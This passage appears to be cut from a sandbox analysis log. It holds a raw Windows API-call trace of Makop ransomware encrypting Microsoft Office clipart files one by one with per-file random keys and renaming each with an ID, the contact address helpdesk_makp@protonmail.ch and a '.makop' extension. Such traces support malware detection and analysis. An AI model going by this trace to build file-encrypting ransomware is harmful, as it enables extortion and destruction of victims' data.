lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.803] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1c0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1c0a, lpOverlapped=0x0) returned 1 [0115.805] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1c10) returned 1 [0115.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1c10, lpOverlapped=0x0) returned 1 [0115.805] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.805] SetEndOfFile (hFile=0xf0) returned 1 [0115.813] GetProcessHeap () returned 0x48a0000 [0115.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.813] GetProcessHeap () returned 0x48a0000 [0115.813] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.813] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.814] CloseHandle (hObject=0xf0) returned 1 [0115.814] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0115.815] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 63 [0115.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.817] GetProcessHeap () returned 0x48a0000 [0115.817] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.817] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0115.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.822] GetProcessHeap () returned 0x48a0000 [0115.822] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.822] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.823] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.823] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.823] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x486, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x486, lpOverlapped=0x0) returned 1 [0115.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x490, dwBufLen=0x490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x490) returned 1 [0115.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.824] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x490, lpOverlapped=0x0) returned 1 [0115.824] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.824] SetEndOfFile (hFile=0xf0) returned 1 [0115.832] GetProcessHeap () returned 0x48a0000 [0115.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.832] GetProcessHeap () returned 0x48a0000 [0115.832] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.832] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.833] CloseHandle (hObject=0xf0) returned 1 [0115.834] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0115.834] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63 [0115.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.834] GetProcessHeap () returned 0x48a0000 [0115.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.840] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.840] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.840] GetProcessHeap () returned 0x48a0000 [0115.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.840] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.840] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.840] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.841] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.841] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.841] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.841] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.841] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x318, lpOverlapped=0x0) returned 1 [0115.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320, dwBufLen=0x320 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x320) returned 1 [0115.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x320, lpOverlapped=0x0) returned 1 [0115.842] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.842] SetEndOfFile (hFile=0xf0) returned 1 [0115.850] GetProcessHeap () returned 0x48a0000 [0115.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.850] GetProcessHeap () returned 0x48a0000 [0115.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.850] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.851] CloseHandle (hObject=0xf0) returned 1 [0115.851] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0115.851] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0115.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.852] GetProcessHeap () returned 0x48a0000 [0115.852] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.852] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.852] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0115.857] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.857] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.857] GetProcessHeap () returned 0x48a0000 [0115.857] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.857] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.857] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.858] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.859] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x432, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x432, lpOverlapped=0x0) returned 1 [0115.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x440, dwBufLen=0x440 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x440) returned 1 [0115.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x440, lpOverlapped=0x0) returned 1 [0115.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.860] SetEndOfFile (hFile=0xf0) returned 1 [0115.867] GetProcessHeap () returned 0x48a0000 [0115.867] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.868] GetProcessHeap () returned 0x48a0000 [0115.868] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.868] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.869] CloseHandle (hObject=0xf0) returned 1 [0115.869] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0115.869] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0115.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.870] GetProcessHeap () returned 0x48a0000 [0115.870] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.870] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.875] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.875] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.875] GetProcessHeap () returned 0x48a0000 [0115.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.875] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.875] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.875] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, 